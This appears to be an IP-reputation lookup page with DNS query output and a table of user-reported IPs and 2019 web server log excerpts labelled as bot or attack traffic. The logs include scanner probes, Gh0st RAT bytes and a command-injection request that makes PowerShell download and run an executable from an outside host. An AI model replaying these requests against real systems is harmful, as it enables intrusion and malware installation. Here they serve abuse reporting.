城市(city): unknown
省份(region): unknown
国家(country): United States of America (the)
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 76.142.68.176
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 31620
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;76.142.68.176. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025012501 1800 900 604800 86400
;; Query time: 10 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Jan 26 11:42:58 CST 2025
;; MSG SIZE rcvd: 106176.68.142.76.in-addr.arpa domain name pointer c-76-142-68-176.hsd1.tx.comcast.net.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
176.68.142.76.in-addr.arpa name = c-76-142-68-176.hsd1.tx.comcast.net.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 59.36.119.226 | attack | 59.36.119.226 - - [20/Apr/2019:10:56:43 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 59.36.119.226 - - [20/Apr/2019:10:56:44 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 209 "http://118.25.52.138/w00tw00t.at.blackhats.romanian.anti-sec:)" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-20 10:57:28 |
| 183.17.127.137 | bots | 183.17.127.137 - - [21/Apr/2019:21:53:36 +0800] "HEAD / HTTP/1.1" 200 0 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "GET / HTTP/1.1" 200 10288 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "HEAD /check-ip/ HTTP/1.1" 200 0 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "GET /check-ip/ HTTP/1.1" 200 8130 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "HEAD /report-ip HTTP/1.1" 200 0 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "GET /report-ip HTTP/1.1" 200 8923 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" 183.17.127.137 - - [21/Apr/2019:21:53:37 +0800] "HEAD /faq HTTP/1.1" 200 0 "https://ipinfo.asytech.cn" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" |
2019-04-21 21:55:45 |
| 183.129.198.99 | botsattack | 183.129.198.99 - - [22/Apr/2019:12:20:12 +0800] "\\x16\\x03\\x01\\x00\\x82\\x01\\x00\\x00~\\x03\\x01\\x5C\\xBD@\\xE9\\x90\\xE7\\xEBu\\xDA\\x0B\\xE1\\x9Ed\\xAB\\xEA@K\\x9C\\xC4\\x18n\\x05 \\xD2\\xB4\\xDD\\x87\\xEF\\xAD\\xA3\\x89\\xBF O1&\\xFE\\xF5\\xCEA\\xBB\\x22U\\xBC\\xFF\\xC0\\x05\\xC9\\x8Dr\\x8E\\x99J\\xD6\\x00\\xFB;\\xE7\\x80\\xAB\\xF9\\x10\\xA05\\xFF\\x00\\x1C\\xC0\\x14\\xC0\\x13\\x009\\x003\\x005\\x00/\\xC0" 400 182 "-" "-" 183.129.198.99 - - [22/Apr/2019:12:20:12 +0800] "\\x16\\x03\\x01\\x00b\\x01\\x00\\x00^\\x03\\x01\\x5C\\xBD@\\xE9PJ\\xA5\\xFAl\\x11\\x90\\xD1/`\\xD7\\x98\\xFF(\\x08\\x85\\xF6\\xDF\\xFC\\xF7\\xF3\\xA5\\x19P)\\xA7\\xF1m\\x00\\x00\\x1C\\xC0\\x14\\xC0\\x13\\x009\\x003\\x005\\x00/\\xC0" 400 182 "-" "-" |
2019-04-22 12:20:43 |
| 27.115.124.6 | attack | 莫名其妙put 27.115.124.6 - - [22/Apr/2019:12:13:32 +0800] "PUT /9082addcc2ac2e12.txt HTTP/1.1" 301 194 "-" "Python-urllib/2.7" |
2019-04-22 12:14:22 |
| 66.240.205.34 | attack | 66.240.205.34 - - [15/Apr/2019:16:54:43 +0800] "Gh0st\\xAD\\x00\\x00\\x00\\xE0\\x00\\x00\\x00x\\x9CKS``\\x98\\xC3\\xC0\\xC0\\xC0\\x06\\xC4\\x8C@\\xBCQ\\x96\\x81\\x81\\x09H\\x07\\xA7\\x16\\x95e&\\xA7*\\x04$&g+\\x182\\x94\\xF6\\xB000\\xAC\\xA8rc\\x00\\x01\\x11\\xA0\\x82\\x1F\\x5C`&\\x83\\xC7K7\\x86\\x19\\xE5n\\x0C9\\x95n\\x0C;\\x84\\x0F3\\xAC\\xE8sch\\xA8^\\xCF4'J\\x97\\xA9\\x82\\xE30\\xC3\\x91h]&\\x90\\xF8\\xCE\\x97S\\xCBA4L?2=\\xE1\\xC4\\x92\\x86\\x0B@\\xF5`\\x0CT\\x1F\\xAE\\xAF]" 400 182 "-" "-" |
2019-04-15 16:55:20 |
| 104.128.144.131 | botsattack | 扫描 104.128.144.131 - - [20/Apr/2019:12:32:14 +0800] "GET / HTTP/1.0" 301 194 "-" "www.probethenet.com scanner" |
2019-04-20 12:33:12 |
| 118.25.71.65 | attack | 118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 301 194 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 404 232 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-19 15:56:51 |
| 85.68.112.186 | botsattack | 85.68.112.186 - - [19/Apr/2019:04:39:13 +0800] "GET /xmlrpc.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" 85.68.112.186 - - [19/Apr/2019:04:39:14 +0800] "GET /xmlrpc.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" |
2019-04-19 04:40:01 |
| 222.186.10.54 | attack | 222.186.10.54 - - [23/Apr/2019:03:56:16 +0800] "POST //plus/e7xue.php HTTP/1.1" 404 513 "http://www.eznewstoday.com//plus/e7xue.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.10.54 - - [23/Apr/2019:03:56:17 +0800] "POST //plus/date.php HTTP/1.1" 404 512 "http://www.eznewstoday.com//plus/date.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.10.54 - - [23/Apr/2019:03:56:17 +0800] "POST //seo.php HTTP/1.1" 404 506 "http://www.eznewstoday.com//seo.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.10.54 - - [23/Apr/2019:03:56:17 +0800] "POST //tapic.php HTTP/1.1" 404 508 "http://www.eznewstoday.com//tapic.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.10.54 - - [23/Apr/2019:03:56:17 +0800] "POST //vedioes.php HTTP/1.1" 404 510 "http://www.eznewstoday.com//vedioes.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 222.186.10.54 - - [23/Apr/2019:03:56:17 +0800] "POST //Dom/Images/check.asp HTTP/1.1" 404 519 "http://www.eznewstoday.com//Dom/Images/check.asp" "Mozilla/4.0 (compatible; MSIE 9.0; Window s NT 6.1)" |
2019-04-23 04:50:57 |
| 203.240.222.13 | attack | 登录检测攻击 203.240.222.13 - - [18/Apr/2019:14:30:13 +0800] "GET /wp-login.php?action=register& HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" 203.240.222.13 - - [18/Apr/2019:14:30:14 +0800] "GET /wp-login.php?action=register& HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/wp-login.php?action=register&" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" |
2019-04-18 14:31:20 |
| 14.29.116.223 | botsattack | 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /myadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 301 194 "-" "ZmEu" 14.29.116.223 - - [18/Apr/2019:11:39:04 +0800] "GET HTTP/1.1" 400 182 "-" "-" |
2019-04-18 11:39:46 |
| 42.86.95.59 | bots | 42.86.95.59 - - [18/Apr/2019:10:45:19 +0800] "GET /otsmobile/app/mds/mgw.htm HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" |
2019-04-18 10:46:06 |
| 108.174.5.116 | bots | linkedin的爬虫，当发表动态的时候就会爬取内容生成卡片 108.174.5.116 - - [18/Apr/2019:16:14:08 +0800] "GET /index.php/2018/12/14/bert-transformer/ HTTP/1.1" 200 15370 "-" "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)" 108.174.5.116 - - [18/Apr/2019:16:14:11 +0800] "GET /index.php/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.eznewstoday.com%2Findex.php%2F2018%2F12%2F14%2Fbert-transformer%2F HTTP/1.1" 200 6219 "-" "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)" 108.174.2.205 - - [18/Apr/2019:16:14:11 +0800] "GET /wp-content/uploads/2018/12/BERT-3-1.png HTTP/1.1" 200 131614 "-" "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)" 108.174.2.205 - - [18/Apr/2019:16:14:13 +0800] "GET /wp-content/ql-cache/quicklatex.com-6c184085bbc790228541ed305164ab15_l3.png HTTP/1.1" 200 5467 "-" "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)" 108.174.5.116 - - [18/Apr/2019:16:14:14 +0800] "GET /wp-content/ql-cache/quicklatex.com-341f9fd6cf4a35789dbca2d46c0ec5a8_l3.png HTTP/1.1" 200 5371 "-" "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)" |
2019-04-18 16:20:45 |
| 185.195.27.254 | botsattack | 185.195.27.254 - - [18/Apr/2019:06:11:46 +0800] "GET /wp2/wp-login.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 185.195.27.254 - - [18/Apr/2019:06:11:47 +0800] "GET /wp2/wp-login.php HTTP/1.1" 404 209 "http://118.25.52.138/wp2/wp-login.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" |
2019-04-18 06:12:46 |
| 185.226.146.149 | botsattack | 185.226.146.149 - - [23/Apr/2019:11:46:18 +0800] "GET /check-ip/162.243.134.187 HTTP/1.0" 200 56262 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0" 185.226.146.149 - - [23/Apr/2019:11:46:20 +0800] "GET /?q=node/add HTTP/1.1" 200 3262 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0" 185.226.146.149 - - [23/Apr/2019:11:46:21 +0800] "GET /?q=user/register HTTP/1.1" 200 3262 "https://ipinfo.asytech.cn/?q=node/add" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0" 185.226.146.149 - - [23/Apr/2019:11:46:21 +0800] "GET /check-ip/162.243.134.187 HTTP/1.1" 200 8238 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0" 185.226.146.149 - - [23/Apr/2019:11:46:22 +0800] "GET /?q=user/register HTTP/1.1" 200 3270 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0" |
2019-04-23 11:47:06 |